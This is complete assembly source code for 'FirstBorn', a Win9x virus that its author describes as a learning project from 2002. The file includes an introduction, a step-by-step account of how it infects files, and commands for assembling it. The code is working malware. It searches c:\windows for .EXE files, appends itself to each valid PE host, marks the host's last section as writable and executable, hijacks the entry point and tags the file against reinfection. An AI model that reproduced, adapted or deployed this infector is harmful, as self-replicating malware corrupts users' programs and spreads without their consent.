;
; [ Win9x.FirstBorn         Vorgon ]       
; [ 2560 bytes         Target - PE ]        
; [ 08/10/02        Made in Canada ]
; 
;
;
;
; [ Introduction ]
;
; After three or four years of programming in asm i decided i was ready for  
; somthing more challenging. Virus programming had always interested me so
; i went searching for a group that would teach me the basics. I found the
; group iKX, and T00FiC showed me how to make my first virus which i call 
; FirstBorn. Its a sucky virus and would never survive in the wild, i only 
; made it for learning purposes.
;
; [ The Infection ]
;
; FirstBorn is a simple PE infector. It only works on Win9x because i could
; not get the exception handling part of the Kernel finder working. So it
; just assumes the kernel is located at 0BFF70000. I will have this function
; working in my next virus and then it can infect NT and 2k. Below is
; a break down of what the virus does:
;
; - Get the delta offset and save the starting location of the virus
; - Save registers incase the host program needs them
; - Use the GetFunctionAddress procedure to get the kernel32 api function
;   addreses i need.
; - Call the FindHostFile procedure to find a valid PE file to infect.
; - Call the GetHeader procedure which reads the PE header into memory
; - Call the AddCodeToHost procedure which does many things:
;              - Writes this program in memory to the end of the host file
;              - Updates the last section header to include all the data
;                up to the EOF, Updates its virtual size, and makes it
;                Readable/Writable/Executable
;              - Updates the program image size
;              - Sets the entry point to the virus code
;              - Adds a signature to location 79h to stop another infection
; - Call PutHeader procedure which writes the updated PE Header to the host 
; - Restore registers for the host program
; - Returns control to the host program
;
;
; [ Assembling ]
;
; tasm32 /ml 1born
; tlink32 -x /Tpe /c 1born,1born
; editbin /SECTION:CODE,rwe 1born.exe
;
;

.386p
.model flat, stdcall
extrn           ExitProcess : PROC
.DATA
        dd 0
.CODE
Main:
        
;----------------------------------------------------------------------------
; Get delta offset and the start location of the virus in memory
;----------------------------------------------------------------------------

        push    ebp
        call    GetDeltaPointer
GetDeltaPointer:
        pop     ebp
        sub     ebp, offset GetDeltaPointer

        Call    SaveRegisters

        mov     [ebp+StartOfCode], ebp
        lea     eax, GetDeltaPointer
        add     [ebp+StartOfCode], eax
        sub     [ebp+StartOfCode], 6               ;get the start address of virus in memory

        mov     eax, [ebp+HEP2]                    ;Set the return to host address
        mov     [ebp+HostEntryPoint], eax
       
;----------------------------------------------------------------------------
; Virus Data
;----------------------------------------------------------------------------

jmp JumpOverData
        StartOfCode        dd 0
        VirusSignature     dd 0DEADBEEFh

        Handle             dd 0
        NumberOfBytesRead  dd 0

        PE_Header          db 248 dup(0)
        LocationOfHeader   dd 0
        
        SearchString       db 'c:\windows\*.EXE',0
        FindHandle         dd 0

Win32_Find_Data:
        FileAttributes     dd 0
        CreateTime         dq 0
        LastAccessTime     dq 0
        LastWriteTime      dq 0
        FileSizeHigh       dd 0
        FileSizeLow        dd 0
        Reserved0          dd 0
        Reserved1          dd 0
        FullFileName       db 260 dup(0)
        AlternateFileName  db 14 dup(0)

SectionHeader:      
        ANSI_Name          db 8 dup(0)
        VirtualSize        dd 0
        VirtualAddress     dd 0
        SizeOfRawData      dd 0
        PointerToRawData   dd 0
        PointerToRelocs    dd 0
        PointerToLinNums   dd 0
        NumberOfRelocs     dw 0
        NumberOfLineNums   dw 0
        Characteristics    dd 0

        Kernel32Address    dd 0BFF70000h         

        szCreateFileA      db 'CreateFileA',0
        _CreateFileA       dd 0
        szWriteFile        db 'WriteFile',0
        _WriteFile         dd 0
        szCloseHandle      db 'CloseHandle',0
        _CloseHandle       dd 0
        szReadFile         db 'ReadFile',0
        _ReadFile          dd 0
        szSetFilePointer   db 'SetFilePointer',0
        _SetFilePointer    dd 0
        szFindFirstFileA   db 'FindFirstFileA',0
        _FindFirstFileA    dd 0
        szFindNextFileA    db 'FindNextFileA',0
        _FindNextFileA     dd 0
        szFindClose        db 'FindClose',0
        _FindClose         dd 0

        loc  dd 0
        loc2 dd 0

        HostEntryPoint     dd 0
        HEP2               dd 00401000h

        _EBP               dd 0
        _EDI               dd 0
        _ESI               dd 0
        _EAX               dd 0
        _EBX               dd 0
        _ECX               dd 0
        _EDX               dd 0

        FirstGeneration    dd 1

JumpOverData:

;----------------------------------------------------------------------------
; Get the required API function addresses from the Kernel32.dll
;----------------------------------------------------------------------------  
        lea     esi, [ebp+szCreateFileA]
        call    GetFunctionAddress
        mov     [ebp+_CreateFileA], eax

        lea     esi, [ebp+szWriteFile]
        call    GetFunctionAddress
        mov     [ebp+_WriteFile], eax

        lea     esi, [ebp+szCloseHandle]
        call    GetFunctionAddress
        mov     [ebp+_CloseHandle], eax
       
        lea     esi, [ebp+szReadFile]
        call    GetFunctionAddress
        mov     [ebp+_ReadFile], eax

        lea     esi, [ebp+szSetFilePointer]
        call    GetFunctionAddress
        mov     [ebp+_SetFilePointer], eax

        lea     esi, [ebp+szFindFirstFileA]
        call    GetFunctionAddress
        mov     [ebp+_FindFirstFileA], eax

        lea     esi, [ebp+szFindNextFileA]
        call    GetFunctionAddress
        mov     [ebp+_FindNextFileA], eax

        lea     esi, [ebp+szFindClose]
        call    GetFunctionAddress
        mov     [ebp+_FindClose], eax
      
;----------------------------------------------------------------------------
; Main
;----------------------------------------------------------------------------
        
        Call    FindHostFile                        ;Find an exe to infect
        cmp     eax, 0FFFFFFFFh
        je      BackToHost

        lea     eax, [ebp+FullFileName]             ;Open it
        mov     ebx, 0C0000000h
        call    OpenFile
        cmp     eax, 0FFFFFFFFh
        je      BackToHost
       
        call    GetHeader                           ;Get its PE header

        call    AddCodeToHost                       ;Add virus to it

        call    PutHeader                           ;Write the updated PE header
                                                    ;to it
        mov     eax, [ebp+Handle]                   
        call    CloseFile                           ;Close it

BackToHost:
        cmp	dword ptr [ebp+FirstGeneration], 1
        je	Exit

        mov     eax, dword ptr [ebp+HostEntryPoint]
        push    eax
        Call    RestoreRegisters
        ret                                         ;return to host

Exit:
        push	0
        Call	ExitProcess

;----------------------------------------------------------------------------
; General Procedures
;----------------------------------------------------------------------------
SaveRegisters PROC      
        mov	[ebp+_EDI], edi
        mov	[ebp+_ESI], esi
        mov	[ebp+_EBX], ebx
        mov	[ebp+_ECX], ecx
        mov	[ebp+_EDX], edx
        pop	eax
        pop	ebx
        mov	[ebp+_EBP], ebx
        push	eax
        ret
SaveRegisters ENDP

RestoreRegisters PROC
        mov	edi, [ebp+_EDI]
        mov	esi, [ebp+_ESI]
        mov	ebx, [ebp+_EBX]
        mov	ecx, [ebp+_ECX]
        mov	edx, [ebp+_EDX]
        mov	ebp, [ebp+_EBP] 
        ret
RestoreRegisters ENDP

AddCodeToHost PROC
        push    dword ptr [ebp+FirstGeneration]
        mov     dword ptr [ebp+FirstGeneration], 0

        mov     eax, dword ptr [ebp+PE_Header+40]
        add     eax, dword ptr [ebp+PE_Header+52]   ;add image base
        mov     [ebp+HEP2], eax                     ;Save original entry point

        mov     eax, 0
        mov     ebx, 2
        Call    SeekData                            ;Seek to EOF
        mov     [ebp+loc], eax
        add     [ebp+loc], 2560                     ;loc = new EOF

        mov     eax, [ebp+StartOfCode]
        mov     ebx, 2560
        call    PutData                             ;Write virus to EOF

        xor     edx, edx
        xor     eax, eax
        mov     ax, word ptr [ebp+PE_Header+6] 
        dec     eax
        mov     ebx, 40
        mul     ebx
        add     eax, [ebp+LocationOfHeader]
        add     eax, 248            
        mov     ebx, 0
        Call    SeekData                            ;Seek to the last section header

        lea     eax, [ebp+SectionHeader]
        mov     ebx, 40
        Call    GetData                             ;Get the last section header

        mov     eax, dword ptr [ebp+PE_Header+80]
        sub     eax, [ebp+VirtualSize]
        mov     dword ptr [ebp+PE_Header+80], eax   ;subtract the section size from the image size

        mov     eax, [ebp+loc]
        sub     eax, [ebp+PointerToRawData]   
        mov     [ebp+SizeOfRawData], eax            ;Update SizeOfRawData

        shr     eax, 12                             ;divide eax by 4096
        shl     eax, 12                             ;multiply eax by 4096
        add     eax, 8192                           ;add 1 - 2k for any unitialized data
        mov     [ebp+VirtualSize], eax              ;Update VirtualSize
        
        mov     eax, [ebp+SizeOfRawData]
        sub     eax, 2560
        add     eax, [ebp+VirtualAddress]
        mov     dword ptr [ebp+PE_Header+40], eax   ;Set Entry point

        mov     [ebp+Characteristics], 0E0000020h   ;Make Section Executable/Readable/Writable

        mov     eax, -40
        mov     ebx, 1
        Call    SeekData
        lea     eax, [ebp+SectionHeader]
        mov     ebx, 40
        Call    PutData                             ;Write section header back to file

        mov     eax, dword ptr [ebp+PE_Header+80]
        add     eax, [ebp+VirtualSize]
        mov     dword ptr [ebp+PE_Header+80], eax   ;update image size

        mov     eax, 79h
        mov     ebx, 0
        Call    SeekData
        lea     eax, [ebp+VirusSignature]
        mov     ebx, 4
        Call    PutData                             ;Write Virus Signature to host
                                                    ;to prevent reinfection
        pop     dword ptr [ebp+FirstGeneration]
        ret
AddCodeToHost ENDP

FindHostFile PROC

        lea	eax, [ebp+Win32_Find_Data]
        lea	ebx, [ebp+SearchString]
        push	eax
        push	ebx
        Call	[ebp+_FindFirstFileA]
        mov	[ebp+FindHandle], eax               ;Get First File match
        
FindHost:
        lea	eax, [ebp+FullFileName]
        mov	ebx, 0C0000000h
        call	OpenFile
        cmp	eax, 0FFFFFFFFh
        je	FindNext
        mov	[ebp+Handle], eax

        mov	eax, 79h
        mov	ebx, 0
        Call	SeekData
        lea	eax, [ebp+loc]
        mov	ebx, 4
        Call	GetData

        mov	eax, 3Ch
        mov	ebx, 0
        Call	SeekData
        lea	eax, [ebp+loc2]
        mov	ebx, 4
        Call	GetData
        mov	eax, [ebp+loc2]
        mov	ebx, 0
        Call	SeekData
        lea	eax, [ebp+loc2]
        mov	ebx, 4
        Call	GetData                      ;Get PE signature

        mov	eax, [ebp+Handle]
        Call	CloseFile

        cmp	[ebp+loc], 0DEADBEEFh
        jne	NextCheck                 ;Already Infected?
        je	FindNext

NextCheck:
        cmp	[ebp+loc2], 00004550h     ;Valid PE EXE?
        je	FoundHost

FindNext:
        lea	eax, [ebp+Win32_Find_Data]
        push	eax
        push	[ebp+FindHandle]
        Call	[ebp+_FindNextFileA]
        cmp	eax, 0                    ;No more exes left
        je	HostNotFound 
        jmp	FindHost       

FoundHost:        
        push	[ebp+FindHandle]
        Call	[ebp+_FindClose]
        ret

HostNotFound:
        push	[ebp+FindHandle]
        Call	[ebp+_FindClose]
        mov	eax, 0FFFFFFFFh
        ret
FindHostFile ENDP


GetHeader PROC
        mov     eax, 3Ch
        mov     ebx, 0
        call    SeekData
        lea     eax, [ebp+LocationOfHeader]
        mov     ebx, 4
        call    GetData
        mov     eax, [ebp+LocationOfHeader]
        mov     ebx, 0
        call    SeekData
        lea     eax, [ebp+PE_Header]
        mov     ebx, 248
        call    GetData
        ret
GetHeader ENDP

PutHeader PROC
        mov     eax, 3Ch
        mov     ebx, 0
        call    SeekData
        lea     eax, [ebp+LocationOfHeader]
        mov     ebx, 4
        call    GetData
        mov     eax, [ebp+LocationOfHeader]
        mov     ebx, 0
        call    SeekData
        lea     eax, [ebp+PE_Header]
        mov     ebx, 248
        call    PutData
        ret
PutHeader ENDP

GetFunctionAddress PROC
        mov     eax, [ebp+Kernel32Address]          ;EAX = Kernel32 Address
        mov     ebx, [eax+3Ch]
        add     ebx, eax
        add     ebx, 120
        mov     ebx, [ebx]
        add     ebx, eax                            ;EBX = Export Address

        xor     edx, edx
        mov     ecx, [ebx+32]
        add     ecx, eax
        push    esi
        push    edx
CompareNext:
        pop     edx
        pop     esi
        inc     edx
        mov     edi, [ecx]
        add     edi, eax
        add     ecx, 4
        push    esi
        push    edx
CompareName:
        mov     dl, [edi]
        mov     dh, [esi]
        cmp     dl, dh
        jne     CompareNext
        inc     edi
        inc     esi
        cmp     byte ptr [esi], 0
        je      GetAddress
        jmp     CompareName
GetAddress:
        pop     edx
        pop     esi
        dec     edx
        shl     edx, 1        
        mov     ecx, [ebx+36]
        add     ecx, eax
        add     ecx, edx
        xor     edx, edx
        mov     dx, [ecx]
        shl     edx, 2
        mov     ecx, [ebx+28]
        add     ecx, eax
        add     ecx, edx
        add     eax, [ecx]

        ret
GetFunctionAddress ENDP


;----------------------------------------------------------------------------
; File I/O Procedures
;----------------------------------------------------------------------------

OpenFile PROC
        push    00000000h
        push    00000080h
        push    00000003h
        push    00000000h
        push    00000000h
        push    ebx                                ;open for read/write
        push    eax 
        call    [ebp+_CreateFileA]
        mov     [ebp+Handle], eax
        ret
OpenFile ENDP

CloseFile PROC
        push    eax
        call    [ebp+_CloseHandle]
        ret
CloseFile ENDP

SeekData PROC
        push    ebx                                 ; 0 = begin / 1 = current / 2 = end
        push    0
        push    eax                                 ; location to seek to
        push    [ebp+Handle]
        call    [ebp+_SetFilePointer]
        ret
SeekData ENDP

GetData PROC
        lea     ecx, [ebp+NumberOfBytesRead]
        push    00000000h
        push    ecx
        push    ebx
        push    eax
        push    [ebp+Handle]                           
        call    [ebp+_ReadFile]
        ret
GetData ENDP

PutData PROC
        lea     ecx, [ebp+NumberOfBytesRead]
        push    0
        push    ecx
        push    ebx
        push    eax
        push    [ebp+Handle]
        call    [ebp+_WriteFile]
        ret
PutData ENDP

End   Main

;Wow your actualy still reading? Get a life :p